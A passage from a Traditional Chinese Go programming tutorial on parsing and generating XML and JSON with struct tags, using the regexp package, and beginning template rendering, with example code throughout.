    <serverName>Beijing_VPN</serverName>
    <serverIP>127.0.0.2</serverIP>
  </server>
</servers>
```

上面的 XML 文件描述了兩個伺服器的資訊，包含了伺服器名和伺服器的 IP 資訊，接下來的 Go 例子以此 XML 描述的資訊進行操作。

## 解析 XML

如何解析如上這個 XML 檔案呢？我們可以透過 xml 套件的 `Unmarshal` 函式來達到我們的目的

```
func Unmarshal(data []byte, v interface{}) error
```

data 接收的是 XML 資料流，v 是需要輸出的結構，定義為 interface，也就是可以把 XML 轉換為任意的格式。我們這裡主要介紹 struct 的轉換，因為 struct 和 XML 都有類似樹結構的特徵。

範例程式碼如下：

```
package main

import (
    "encoding/xml"
    "fmt"
    "io/ioutil"
    "os"
)

type Recurlyservers struct {
    XMLName      xml.Name `xml:"servers"`
    Version      string   `xml:"version,attr"`
    Svs          []server `xml:"server"`
    Description string   `xml:",innerxml"`
}

type server struct {
    XMLName      xml.Name `xml:"server"`
    ServerName string   `xml:"serverName"`
    ServerIP     string   `xml:"serverIP"`
}

func main() {
    file, err := os.Open("servers.xml") // For read access.
    if err != nil {
        fmt.Printf("error: %v", err)
        return
    }
    defer file.Close()
    data, err := ioutil.ReadAll(file)
    if err != nil {
        fmt.Printf("error: %v", err)
        return
    }
}
```



```
    }
    v := Recurlyservers{}
    err = xml.Unmarshal(data, &v)
    if err != nil {
        fmt.Printf("error: %v", err)
        return
    }

    fmt.Println(v)
}
```

XML 本質上是一種樹形的資料格式，而我們可以定義與之匹配的 go 語言的 struct 型別，然後透過 `xml.Unmarshal` 來將 xml 中的資料解析成對應的 struct 物件。如上例子輸出如下資料

```
{{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Bei
jing_VPN 127.0.0.2}]
<server>
  <serverName>Shanghai_VPN</serverName>
  <serverIP>127.0.0.1</serverIP>
</server>
<server>
  <serverName>Beijing_VPN</serverName>
  <serverIP>127.0.0.2</serverIP>
</server>
}
```

上面的例子中，將 xml 檔案解析成對應的 struct 物件是透過 `xml.Unmarshal` 來完成的，這個過程是如何實現的？可以看到我們的 struct 定義後面多了一些類似於 `xml:"serverName"` 這樣的內容，這個是 struct 的一個特性，它們被稱為 struct tag，它們是用來輔助反射的。我們來看一下 `Unmarshal` 的定義：

```
func Unmarshal(data []byte, v interface{}) error
```

我們看到函式定義了兩個引數，第一個是 XML 資料流，第二個是儲存的對應型別，目前支援 `struct`、`slice` 和 `string`，XML 套件內部採用了反射來進行資料的對映，所以 `v` 裡面的欄位必須是匯出的。 `Unmarshal` 解析的時候 XML 元素和欄位怎麼對應起來的呢？這是有一個優先順序讀取流程的，首先會讀取 `struct tag`，如果沒有，那麼就會對應欄位名。必須注意一點的是解析的時候 `tag`、欄位名、XML 元素都是大小寫敏感的，所以必須一一對應欄位。

Go 語言的反射機制，可以利用這些 `tag` 資訊來將來自 XML 檔案中的資料反射成對應的 `struct` 物件，關於反射如何利用 `struct tag` 的更多內容請參閱 `reflect` 中的相關內容。

解析 XML 到 `struct` 的時候遵循如下的規則：

- 如果 `struct` 的一個欄位是 `string` 或者 `[]byte` 型別且它的 `tag` 含有 `",innerxml"`，`Unmarshal` 將會將此欄位所對應的元素內所有內嵌的原始 `xml` 累加到此欄位上，如上面例子 `Description` 定義。最後的輸出是

```
<server>
  <serverName>Shanghai_VPN</serverName>
  <serverIP>127.0.0.1</serverIP>
</server>
<server>
  <serverName>Beijing_VPN</serverName>
  <serverIP>127.0.0.2</serverIP>
</server>
```

- 如果 `struct` 中有一個叫做 `XMLName`，且型別為 `xml.Name` 欄位，那麼在解析的時候就會儲存這個 `element` 的名字到該欄位，如上面例子中的 `servers`。
- 如果某個 `struct` 欄位的 `tag` 定義中含有 XML 結構中 `element` 的名稱，那麼解析的時候就會把相應的 `element` 值賦值給該欄位，如上 `servername` 和 `serverip` 定義。
- 如果某個 `struct` 欄位的 `tag` 定義了中含有 `",attr"`，那麼解析的時候就會將該結構所對應的 `element` 的與欄位同名的屬性的值賦值給該欄位，如上 `version` 定義。
- 如果某個 `struct` 欄位的 `tag` 定義型如 `"a>b>c"`，則解析的時候，會將 `xml` 結構 `a` 下面的 `b` 下面的 `c` 元素的值賦值給該欄位。
- 如果某個 `struct` 欄位的 `tag` 定義了 `"-"`，那麼不會為該欄位解析匹配任何

xml 資料。

- 如果 struct 欄位後面的 tag 定義了 `",any"`，如果他的子元素在不滿足其他的規則的時候就會匹配到這個欄位。
- 如果某個 XML 元素包含一條或者多條註釋，那麼這些註釋將被累加到第一個 tag 含有`",comments"`的欄位上，這個欄位的型別可能是 `[]byte` 或 `string`，如果沒有這樣的欄位存在，那麼註釋將會被拋棄。

上面詳細講述瞭如何定義 struct 的 tag。只要設定對了 tag，那麼 XML 解析就如上面範例般簡單，tag 和 XML 的 element 是一一對應的關係，如上所示，我們還可以透過 slice 來表示多個同級元素。

注意：為了正確解析，go 語言的 xml 套件要求 struct 定義中的所有欄位必須是可匯出的（即首字母大寫）

## 輸出 XML

假若我們不是要解析如上所示的 XML 檔案，而是產生它，那麼在 go 語言中又該如何實現呢？xml 套件中提供了 `Marshal` 和 `MarshalIndent` 兩個函式，來滿足我們的需求。這兩個函式主要的區別是第二個函式會增加字首和縮排，函式的定義如下所示：

```
func Marshal(v interface{}) ([]byte, error)
func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error)
```

兩個函式第一個引數是用來產生 XML 的結構定義型別資料，都是返回產生的 XML 資料流。

下面我們來看一下如何輸出如上的 XML：

```
package main

import (
    "encoding/xml"
    "fmt"
    "os"
)

type Servers struct {
    XMLName xml.Name `xml:"servers"`
    Version string   `xml:"version,attr"`
    Svs      []server `xml:"server"`
}

type server struct {
    ServerName string `xml:"serverName"`
    ServerIP   string `xml:"serverIP"`
}

func main() {
    v := &Servers{Version: "1"}
    v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"})
    v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"})
    output, err := xml.MarshalIndent(v, " ", " ")
    if err != nil {
        fmt.Printf("error: %v\n", err)
    }
    os.Stdout.Write([]byte(xml.Header))

    os.Stdout.Write(output)
}
```

上面的程式碼輸出如下資訊：

```
<?xml version="1.0" encoding="UTF-8"?>
<servers version="1">
  <server>
    <serverName>Shanghai_VPN</serverName>
    <serverIP>127.0.0.1</serverIP>
  </server>
  <server>
    <serverName>Beijing_VPN</serverName>
    <serverIP>127.0.0.2</serverIP>
  </server>
</servers>
```

和我們之前定義的檔案的格式一模一樣，之所以會有 `os.Stdout.Write([]byte(xml.Header))` 這句程式碼的出現，是因為 `xml.MarshalIndent` 或者 `xml.Marshal` 輸出的資訊都是不帶 XML 頭的，爲了產生正確的 xml 檔案，我們使用了 xml 套件預定義的 `Header` 變數。

我們看到 `Marshal` 函式接收的引數 `v` 是 `interface{}` 型別的，即它可以接受任意型別的引數，那麼 xml 套件，根據什麼規則來產生相應的 XML 檔案呢？

- 如果 `v` 是 `array` 或者 `slice`，那麼輸出每一個元素，類似 `value`
- 如果 `v` 是指標，那麼會 `Marshal` 指標指向的內容，如果指標爲空，什麼都不輸出
- 如果 `v` 是 `interface`，那麼就處理 `interface` 所包含的資料
- 如果 `v` 是其他資料型別，就會輸出這個資料型別所擁有的欄位資訊

產生的 XML 檔案中的 `element` 的名字又是根據什麼決定的呢？元素名按照如下優先順序從 `struct` 中取得：

- 如果 `v` 是 `struct`，`XMLName` 的 `tag` 中定義的名稱
- 型別爲 `xml.Name` 的名叫 `XMLName` 的欄位的值
- 透過 `struct` 中欄位的 `tag` 來取得
- 透過 `struct` 的欄位名用來取得
- `marshall` 的型別名稱

我們應如何設定 `struct` 中欄位的 `tag` 資訊以控制最終 xml 檔案的產生呢？

- `XMLName` 不會被輸出

- tag 中含有 "-" 的欄位不會輸出
- tag 中含有 "name,attr" ，會以 name 作為屬性名，欄位值作為值輸出為這個 XML 元素的屬性，如上 version 欄位所描述
- tag 中含有 ",attr" ，會以這個 struct 的欄位名作為屬性名輸出為 XML 元素的屬性，類似上一條，只是這個 name 預設是欄位名了。
- tag 中含有 ",chardata" ，輸出為 xml 的 character data 而非 element。
- tag 中含有 ",innerxml" ，將會被原樣輸出，而不會進行常規的編碼過程
- tag 中含有 ",comment" ，將被當作 xml 註釋來輸出，而不會進行常規的編碼過程，欄位值中不能含有"--"字串
- tag 中含有 "omitempty" ，如果該欄位的值為空值那麼該欄位就不會被輸出到 XML，空值包括：false、0、nil 指標或 nil 介面，任何長度為 0 的 array, slice, map 或者 string
- tag 中含有 "a>b>c" ，那麼就會迴圈輸出三個元素 a 包含 b，b 包含 c，例如如下程式碼就會輸出

```
FirstName string    `xml:"name>first"`
LastName  string    `xml:"name>last"`

<name>
<first>Asta</first>
<last>Xie</last>
</name>
```

上面我們介紹瞭如何使用 Go 語言的 xml 套件來編/解碼 XML 檔案，重要的一點是對 XML 的所有操作都是透過 struct tag 來實現的，所以學會對 struct tag 的運用變得非常重要，在文章中我們簡要的列舉了如何定義 tag。更多內容或 tag 定義請參看相應的官方資料。

## links

- [目錄](#)
- 上一節: [文字處理](#)
- 下一節: [Json 處理](#)

## 7.2 JSON 處理

JSON (Javascript Object Notation) 是一種輕量級的資料交換語言，以文字為基礎，具有自我描述性且易於讓人閱讀。儘管 JSON 是 Javascript 的一個子集，但 JSON 是獨立於語言的文字格式，並且採用了類似於 C 語言家族的一些習慣。JSON 與 XML 最大的不同在於 XML 是一個完整的標記語言，而 JSON 不是。JSON 由於比 XML 更小、更快，更易解析，以及瀏覽器的內建快速解析支援，使得其更適用於網路資料傳輸領域。目前我們看到很多的開放平臺，基本上都是採用了 JSON 作為他們的資料互動的介面。既然 JSON 在 Web 開發中如此重要，那麼 Go 語言對 JSON 支援的怎麼樣呢？Go 語言的標準函式庫已經非常好的支援了 JSON，可以很容易的對 JSON 資料進行編、解碼的工作。

前一小節的運維的例子用 json 來表示，結果描述如下：

```
{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"}, {"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}
```

本小節餘下的內容將以此 JSON 資料為基礎，來介紹 go 語言的 json 套件對 JSON 資料的編、解碼。

## 解析 JSON

### 解析到結構體

假如有了上面的 JSON 串，那麼我們如何來解析這個 JSON 串呢？Go 的 JSON 套件中有如下函式

```
func Unmarshal(data []byte, v interface{}) error
```

透過這個函式我們就可以實現解析的目的，詳細的解析例子請看如下程式碼：

```
package main

import (
    "encoding/json"
    "fmt"
)

type Server struct {
    ServerName string
    ServerIP   string
}

type Serverslice struct {
    Servers []Server
}

func main() {
    var s Serverslice
    str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":
"127.0.0.1"}, {"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}
]}`
    json.Unmarshal([]byte(str), &s)
    fmt.Println(s)
}
```

在上面的範例程式碼中，我們首先定義了與 json 資料對應的結構體，陣列對應 slice，欄位名對應 JSON 裡面的 KEY，在解析的時候，如何將 json 資料與 struct 欄位相匹配呢？例如 JSON 的 key 是 `Foo`，那麼怎麼找對應的欄位呢？

- 首先查詢 tag 含有 `Foo` 的可匯出的 struct 欄位(首字母大寫)
- 其次查詢欄位名是 `Foo` 的匯出欄位
- 最後查詢類似 `F00` 或者 `Fo0` 這樣的除了首字母之外其他大小寫不敏感的匯出欄位

聰明的你一定注意到了這一點：能夠被賦值的欄位必須是可匯出欄位(即首字母大寫)。同時 JSON 解析的時候只會解析能找得到的欄位，找不到的欄位會被忽略，這樣的一個好處是：當你接收到一個很大的 JSON 資料結構而你卻只想取得其中的



部分資料的時候，你只需將你想要的資料對應的欄位名大寫，即可輕鬆解決這個問題。

## 解析到 `interface`

上面那種解析方式是在我們知曉被解析的 JSON 資料的結構的前提下採取的方案，如果我們不知道被解析的資料的格式，又應該如何來解析呢？

我們知道 `interface{}` 可以用來儲存任意資料型別的物件，這種資料結構正好用於儲存解析的未知結構的 json 資料的結果。JSON 套件中採用 `map[string]interface{}` 和 `[]interface{}` 結構來儲存任意的 JSON 物件和陣列。Go 型別和 JSON 型別的對應關係如下：

- `bool` 代表 JSON booleans,
- `float64` 代表 JSON numbers,
- `string` 代表 JSON strings,
- `nil` 代表 JSON null.

現在我們假設有如下的 JSON 資料

```
b := []byte(`{"Name": "Wednesday", "Age": 6, "Parents": ["Gomez", "Morticia"]}`)
```

如果在我們不知道他的結構的情況下，我們把他解析到 `interface{}` 裡面

```
var f interface{}  
err := json.Unmarshal(b, &f)
```

這個時候 `f` 裡面儲存了一個 `map` 型別，他們的 `key` 是 `string`，值儲存在空的 `interface{}` 裡

```
f = map[string]interface{}{
    "Name": "Wednesday",
    "Age": 6,
    "Parents": []interface{}{
        "Gomez",
        "Morticia",
    },
}
```

那麼如何來訪問這些資料呢？透過斷言的方式：

```
m := f.(map[string]interface{})
```

透過斷言之後，你就可以透過如下方式來訪問裡面的資料了

```
for k, v := range m {
    switch vv := v.(type) {
    case string:
        fmt.Println(k, "is string", vv)
    case int:
        fmt.Println(k, "is int", vv)
    case float64:
        fmt.Println(k, "is float64", vv)
    case []interface{}:
        fmt.Println(k, "is an array:")
        for i, u := range vv {
            fmt.Println(i, u)
        }
    default:
        fmt.Println(k, "is of a type I don't know how to handle")
    }
}
```

透過上面的範例可以看到，透過 `interface{}` 與 `type assert` 的配合，我們就可以解析未知結構的 JSON 數了。

上面這個是官方提供的解決方案，其實很多時候我們透過型別斷言，操作起來不是很方便，目前 `bitly` 公司開源了一個叫做 `simplejson` 的套件，在處理未知結構體的 JSON 時相當方便，詳細例子如下所示：

```
js, err := NewJson([]byte(`{
    "test": {
        "array": [1, "2", 3],
        "int": 10,
        "float": 5.150,
        "bignum": 9223372036854775807,
        "string": "simplejson",
        "bool": true
    }
}`))

arr, _ := js.Get("test").Get("array").Array()
i, _ := js.Get("test").Get("int").Int()
ms := js.Get("test").Get("string").MustString()
```

可以看到，使用這個函式庫操作 JSON 比起官方套件來說，簡單的多，詳細的請參考如下地址：<https://github.com/bitly/go-simplejson>

## 產生 JSON

我們開發很多應用的時候，最後都是要輸出 JSON 資料串，那麼如何來處理呢？JSON 套件裡面透過 `Marshal` 函式來處理，函式定義如下：

```
func Marshal(v interface{}) ([]byte, error)
```

假設我們還是需要產生上面的伺服器列表資訊，那麼如何來處理呢？請看下面的例子：

```
package main

import (
    "encoding/json"
    "fmt"
)

type Server struct {
    ServerName string
    ServerIP   string
}

type Serverslice struct {
    Servers []Server
}

func main() {
    var s Serverslice
    s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"})
    s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"})
    b, err := json.Marshal(s)
    if err != nil {
        fmt.Println("json err:", err)
    }
    fmt.Println(string(b))
}
```

輸出如下內容：

```
{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"}, {"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}
```

我們看到上面的輸出欄位名的首字母都是大寫的，如果你想用小寫的首字母怎麼辦呢？把結構體的欄位名改成首字母小寫的？JSON 輸出的時候必須注意，只有匯出的欄位才會被輸出，如果修改欄位名，那麼就會發現什麼都不會輸出，所以必須透過 `struct tag` 定義來實現：

```
type Server struct {
    ServerName string `json:"serverName"`
    ServerIP   string `json:"serverIP"`
}

type Serverslice struct {
    Servers []Server `json:"servers"`
}
```

透過修改上面的結構體定義，輸出的 JSON 串就和我們最開始定義的 JSON 串保持一致了。

針對 JSON 的輸出，我們在定義 `struct tag` 的時候需要注意的幾點是：

- 欄位的 `tag` 是 `"-"`，那麼這個欄位不會輸出到 JSON
- `tag` 中帶有自訂名稱，那麼這個自訂名稱會出現在 JSON 的欄位名中，例如上面例子中 `serverName`
- `tag` 中如果帶有 `"omitempty"` 選項，那麼如果該欄位值為空，就不會輸出到 JSON 串中
- 如果欄位型別是 `bool`, `string`, `int`, `int64` 等，而 `tag` 中帶有 `","string"` 選項，那麼這個欄位在輸出到 JSON 的時候會把該欄位對應的值轉換成 JSON 字串

舉例來說：

```
type Server struct {
    // ID 不會匯出到 JSON 中
    ID int `json:"-"`

    // ServerName2 的值會進行二次 JSON 編碼
    ServerName string `json:"serverName"`
    ServerName2 string `json:"serverName2,string"`

    // 如果 ServerIP 為空，則不輸出到 JSON 串中
    ServerIP string `json:"serverIP,omitempty"`
}

s := Server {
    ID: 3,
    ServerName: `Go "1.0" `,
    ServerName2: `Go "1.0" `,
    ServerIP: `` ,
}
b, _ := json.Marshal(s)
os.Stdout.Write(b)
```

會輸出以下內容：

```
{"serverName": "Go \"1.0\" ", "serverName2": "\"Go \\\"1.0\\\" \" \"\"}"}
```

Marshal 函式只有在轉換成功的時候才會返回資料，在轉換的過程中我們需要注意幾點：

- JSON 物件只支援 string 作為 key，所以要編碼一個 map，那麼必須是 map[string]T 這種型別(T 是 Go 語言中任意的型別)
- Channel, complex 和 function 是不能被編碼成 JSON 的
- 巢狀的資料是不能編碼的，不然會讓 JSON 編碼進入死迴圈
- 指標在編碼的時候會輸出指標指向的內容，而空指標會輸出 null

本小節，我們介紹瞭如何使用 Go 語言的 `json` 標準套件來編解碼 JSON 資料，同時也簡要介紹瞭如何使用第三方套件 `go-simplejson` 來在一些情況下簡化操作，學會並熟練運用它們將對我們接下來的 Web 開發相當重要。

## links

- [目錄](#)
- 上一節: [XML 處理](#)
- 下一節: [正則處理](#)

## 7.3 正則處理

正則表示式是一種進行模式匹配和文字操縱的複雜而又強大的工具。雖然正則表示式比純粹的文字匹配效率低，但是它卻更靈活。按照它的語法規則，隨需構造出的匹配模式就能夠從原始文字中篩選出幾乎任何你想要得到的字元組合。如果你在 Web 開發中需要從一些文字資料來源中取得資料，那麼你只需要按照它的語法規則，隨需構造出正確的模式字串就能夠從原資料來源提取出有意義的文字資訊。

Go 語言透過 `regexp` 標準套件為正則表示式提供了官方支援，如果你已經使用過其他程式語言提供的正則相關功能，那麼你應該對 Go 語言版本的不會太陌生，但是它們之間也有一些小的差異，因為 Go 實現的是 RE2 標準，除了 \C，詳細的語法描述參考：<http://code.google.com/p/re2/wiki/Syntax>

其實字串處理我們可以使用 `strings` 套件來進行搜尋(Contains、Index)、替換(Replace)和解析(Split、Join)等操作，但是這些都是簡單的字串操作，他們的搜尋都是大小寫敏感，而且固定的字串，如果我們需要匹配可變的那種就沒辦法實現了，當然如果 `strings` 套件能解決你的問題，那麼就儘量使用它來解決。因為他們足夠簡單、而且效能和可讀性都會比正則好。

如果你還記得，在前面表單驗證的小節裡，我們已經接觸過正則處理，在那裡我們利用了它來驗證輸入的資訊是否滿足某些預設的條件。在使用中需要注意的一點就是：所有的字元都是 UTF-8 編碼的。接下來讓我們更加深入的來學習 Go 語言的 `regexp` 套件相關知識吧。

### 透過正則判斷是否匹配

`regexp` 套件中含有三個函式用來判斷是否匹配，如果匹配返回 `true`，否則返回 `false`

```
func Match(pattern string, b []byte) (matched bool, error error)
func MatchReader(pattern string, r io.RuneReader) (matched bool,
    error error)
func MatchString(pattern string, s string) (matched bool, error
    error)
```



上面的三個函式實現了同一個功能，就是判斷 `pattern` 是否和輸入源匹配，匹配的話就返回 `true`，如果解析正則出錯則返回 `error`。三個函式的輸入源分別是 `byte slice`、`RuneReader` 和 `string`。

如果要驗證一個輸入是不是 IP 地址，那麼如何來判斷呢？請看如下實現

```
func IsIP(ip string) (b bool) {
    if m, _ := regexp.MatchString("[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m {
        return false
    }
    return true
}
```

可以看到，`regexp` 的 `pattern` 和我們平常使用的正則一模一樣。再來看一個例子：當用戶輸入一個字串，我們想知道是不是一次合法的輸入：

```
func main() {
    if len(os.Args) == 1 {
        fmt.Println("Usage: regexp [string]")
        os.Exit(1)
    } else if m, _ := regexp.MatchString("[0-9]+$", os.Args[1]); m {
        fmt.Println("數字")
    } else {
        fmt.Println("不是數字")
    }
}
```

在上面的兩個小例子中，我們採用了 `Match(Reader|String)` 來判斷一些字串是否符合我們的描述需求，它們使用起來非常方便。

## 透過正則取得內容

Match 模式只能用來對字串的判斷，而無法擷取字串的一部分、過濾字串、或者提取出符合條件的一批字串。如果想要滿足這些需求，那就需要使用正則表示式的複雜模式。

我們經常需要一些爬蟲程式，下面就以爬蟲為例來說明如何使用正則來過濾或擷取抓取到的資料：

```
package main

import (
    "fmt"
    "io/ioutil"
    "net/http"
    "regexp"
    "strings"
)

func main() {
    resp, err := http.Get("http://www.baidu.com")
    if err != nil {
        fmt.Println("http get error.")
    }
    defer resp.Body.Close()
    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("http read error")
        return
    }

    src := string(body)

    //將 HTML 標籤全轉換成小寫
    re, _ := regexp.Compile("\\<[\\S\\s]+?\\>")
    src = re.ReplaceAllStringFunc(src, strings.ToLower)

    //去除 STYLE
    re, _ = regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")
    src = re.ReplaceAllString(src, "")
}
```

```
//去除 SCRIPT
re, _ = regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")
src = re.ReplaceAllString(src, "")

//去除所有尖括號內的 HTML 程式碼，並換成換行符
re, _ = regexp.Compile("\\<[\\S\\s]+?\\>")
src = re.ReplaceAllString(src, "\n")

//去除連續的換行符
re, _ = regexp.Compile("\\s{2,}")
src = re.ReplaceAllString(src, "\n")

fmt.Println(strings.TrimSpace(src))
}
```

從這個範例可以看出，使用複雜的正則首先是 `Compile`，它會解析正則表示式是否合法，如果正確，那麼就會返回一個 `Regexp`，然後就可以利用返回的 `Regexp` 在任意的字串上面執行需要的操作。

解析正則表示式的有如下幾個方法：

```
func Compile(expr string) (*Regexp, error)
func CompilePOSIX(expr string) (*Regexp, error)
func MustCompile(str string) *Regexp
func MustCompilePOSIX(str string) *Regexp
```

`CompilePOSIX` 和 `Compile` 的不同點在於 POSIX 必須使用 POSIX 語法，它使用最左最長方式搜尋，而 `Compile` 是採用的則只採用最左方式搜尋(例如 `[a-z]{2,4}` 這樣一個正則表示式，應用於 "aa09aaa88aaaa" 這個文字串時，`CompilePOSIX` 返回了 `aaaa`，而 `Compile` 的返回的是 `aa`)。字首有 `Must` 的函式表示，在解析正則語法的時候，如果匹配模式串不滿足正確的語法則直接 `panic`，而不加 `Must` 的則只是返回錯誤。

在瞭解瞭如何新建一個 `Regexp` 之後，我們再來看一下這個 `struct` 提供了哪些方法來輔助我們操作字串，首先我們來看下面這些用來搜尋的函式：

```

func (re *Regexp) Find(b []byte) []byte
func (re *Regexp) FindAll(b []byte, n int) [][]byte
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
func (re *Regexp) FindAllString(s string, n int) []string
func (re *Regexp) FindAllStringIndex(s string, n int) [][]int
func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string
func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
func (re *Regexp) FindIndex(b []byte) (loc []int)
func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int)
func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int
func (re *Regexp) FindString(s string) string
func (re *Regexp) FindStringIndex(s string) (loc []int)
func (re *Regexp) FindStringSubmatch(s string) []string
func (re *Regexp) FindStringSubmatchIndex(s string) []int
func (re *Regexp) FindSubmatch(b []byte) [][]byte
func (re *Regexp) FindSubmatchIndex(b []byte) []int

```

上面這 18 個函式我們根據輸入源(byte slice、string 和 io.RuneReader)不同還可以繼續簡化成如下幾個，其他的只是輸入源不一樣，其他功能基本是一樣的：

```

func (re *Regexp) Find(b []byte) []byte
func (re *Regexp) FindAll(b []byte, n int) [][]byte
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
func (re *Regexp) FindIndex(b []byte) (loc []int)
func (re *Regexp) FindSubmatch(b []byte) [][]byte
func (re *Regexp) FindSubmatchIndex(b []byte) []int

```

對於這些函式的使用我們來看下面這個例子

```
package main

import (
    "fmt"
    "regexp"
)

func main() {
    a := "I am learning Go language"

    re, _ := regexp.Compile("[a-z]{2,4}")

    //查詢符合正則的第一個
    one := re.Find([]byte(a))
    fmt.Println("Find:", string(one))

    //查詢符合正則的所有 slice, n 小於 0 表示返回全部符合的字串，不然就是
    //返回指定的長度
    all := re.FindAll([]byte(a), -1)
    fmt.Println("FindAll", all)

    //查詢符合條件的 index 位置，開始位置和結束位置
    index := re.FindIndex([]byte(a))
    fmt.Println("FindIndex", index)

    //查詢符合條件的所有的 index 位置，n 同上
    allindex := re.FindAllIndex([]byte(a), -1)
    fmt.Println("FindAllIndex", allindex)

    re2, _ := regexp.Compile("am(.*?)lang(.*?)")

    //查詢 Submatch，返回陣列，第一個元素是匹配的全部元素，第二個元素是第一
    //一個()裡面的，第三個是第二個()裡面的
    //下面的輸出第一個元素是"am learning Go language"
    //第二個元素是" learning Go "，注意包含空格的輸出
    //第三個元素是"uage"
    submatch := re2.FindSubmatch([]byte(a))
    fmt.Println("FindSubmatch", submatch)
    for _, v := range submatch {
        fmt.Println(string(v))
    }
}
```

```

}

//定義和上面的 FindIndex 一樣
submatchindex := re2.FindSubmatchIndex([]byte(a))
fmt.Println(submatchindex)

//FindAllSubmatch，查詢所有符合條件的子匹配
submatchall := re2.FindAllSubmatch([]byte(a), -1)
fmt.Println(submatchall)

//FindAllSubmatchIndex，查詢所有字匹配的 index
submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1)
fmt.Println(submatchallindex)
}

```

前面介紹過匹配函式，**Regexp** 也定義了三個函式，它們和同名的外部函式功能一模一樣，其實外部函式就是呼叫了這 **Regexp** 的三個函式來實現的：

```

func (re *Regexp) Match(b []byte) bool
func (re *Regexp) MatchReader(r io.RuneReader) bool
func (re *Regexp) MatchString(s string) bool

```

接下里讓我們來了解替換函式是怎麼操作的？

```

func (re *Regexp) ReplaceAll(src, repl []byte) []byte
func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte
func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte
func (re *Regexp) ReplaceAllLiteralString(src, repl string) string
func (re *Regexp) ReplaceAllString(src, repl string) string
func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string

```

這些替換函式我們在上面的抓網頁的例子有詳細應用範例，

接下來我們看一下 `Expand` 的解釋：

```
func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte
func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte
```

那麼這個 `Expand` 到底用來幹嘛的呢？請看下面的例子：

```
func main() {
    src := []byte(`
        call hello alice
        hello bob
        call hello eve
    `)
    pat := regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)
    res := []byte{}
    for _, s := range pat.FindAllSubmatchIndex(src, -1) {
        res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s)
    }
    fmt.Println(string(res))
}
```

至此我們已經全部介紹完 Go 語言的 `regexp` 套件，透過對它的主要函式介紹及示範，相信大家應該能夠透過 Go 語言的正則套件進行一些基本的正則的操作了。

## links

- [目錄](#)
- 上一節: [Json 處理](#)
- 下一節: [範本處理](#)

## 7.4 範本處理

### 什麼是範本

你一定聽說過一種叫做 MVC 的設計模式，Model 處理資料，View 展現結果，Controller 控制使用者的請求，至於 View 層的處理，在很多動態語言裡面都是透過在靜態 HTML 中插入動態語言產生的資料，例如 JSP 中透過插入 `<%=...=%>`，PHP 中透過插入 `<?php.....?>` 來實現的。

透過下面這個圖可以說明範本的機制



圖 7.1 範本機制圖

Web 應用反饋給客戶端的資訊中的大部分內容是靜態的，不變的，而另外少部分是根據使用者的請求來動態產生的，例如要顯示使用者的訪問記錄列表。使用者之間只有記錄資料是不同的，而列表的樣式則是固定的，此時採用範本可以複用很多靜態程式碼。

### Go 範本使用

在 Go 語言中，我們使用 `template` 套件來進行範本處理，使用類似 `Parse`、`ParseFile`、`Execute` 等方法從檔案或者字串載入範本，然後執行類似上面圖片展示的範本的 `merge` 操作。請看下面的例子：

```
func handler(w http.ResponseWriter, r *http.Request) {
    t := template.New("some template") //建立一個範本
    t, _ = t.ParseFiles("tmpl/welcome.html") //解析範本檔案
    user := GetUser() //取得當前使用者資訊
    t.Execute(w, user) //執行範本的 merger 操作
}
```

透過上面的例子我們可以看到 Go 語言的範本操作非常的簡單方便，和其他語言的範本處理類似，都是先取得資料，然後渲染資料。



爲了示範和測試程式碼的方便，我們在接下來的例子中採用如下格式的程式碼

- 使用 `Parse` 代替 `ParseFiles`，因爲 `Parse` 可以直接測試一個字串，而不需要額外的檔案
- 不使用 `handler` 來寫示範程式碼，而是每個測試一個 `main`，方便測試
- 使用 `os.Stdout` 代替 `http.ResponseWriter`，因爲 `os.Stdout` 實現了 `io.Writer` 介面

## 範本中如何插入資料？

上面我們示範瞭如何解析並渲染範本，接下來讓我們來更加詳細的瞭解如何把資料渲染出來。一個範本都是應用在一個 `Go` 的物件之上，`Go` 物件的欄位如何插入到範本中呢？

### 欄位操作

`Go` 語言的範本透過 `{{}}` 來包含需要在渲染時被替換的欄位，`{{.}}` 表示當前的物件，這和 `Java` 或者 `C++` 中的 `this` 類似，如果要訪問當前物件的欄位透過 `{{.FieldName}}`，但是需要注意一點：這個欄位必須是匯出的(欄位首字母必須是大寫的)，否則在渲染的時候就會報錯，請看下面的這個例子：

```
package main

import (
    "html/template"
    "os"
)

type Person struct {
    UserName string
}

func main() {
    t := template.New("fieldname example")
